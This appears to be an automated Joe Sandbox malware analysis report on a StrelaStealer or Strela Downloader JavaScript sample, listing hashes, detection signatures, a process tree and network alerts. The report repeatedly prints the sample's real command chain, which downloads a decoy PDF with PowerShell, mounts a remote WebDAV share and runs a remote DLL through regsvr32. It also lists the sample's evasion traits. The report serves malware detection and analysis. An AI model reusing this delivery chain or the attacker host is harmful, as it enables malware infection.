Edit tour

Windows Analysis Report
4892182381391430128.js

Overview

General Information

Sample name:	4892182381391430128.js
Analysis ID:	1588381
MD5:	75fccc0f5b2b0d8e4dd2554599a19be3
SHA1:	122a5c6b115dc1ace10e6b77ed03972907c2c972
SHA256:	268d48e5afc5da90fce674b788f6f9e547f5547b55a1de30b08b6dc51ead51f7
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5936 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2332 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1056 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6104 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6236 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7248 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1540,i,6163206901540679361,2313398844178024841,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6204 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5760 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5156 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5936	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1056, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1056, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ProcessId: 5936, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5760, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49717

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5936, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ProcessId: 2332, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5936, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ProcessId: 2332, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5936, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ProcessId: 2332, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5936, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ProcessId: 2332, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5936, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ProcessId: 2332, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ProcessId: 5936, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2332, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1056, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6204, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5760, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5156, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6204, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5760, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\4892182381391430128.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5936, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\18418237766851.dll, ProcessId: 2332, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:39:58.640476+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:40:00.941667+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49717	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T01:39:58.640476+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49710	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 4892182381391430128.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 4892182381391430128.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49717 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49710 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 00:39:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
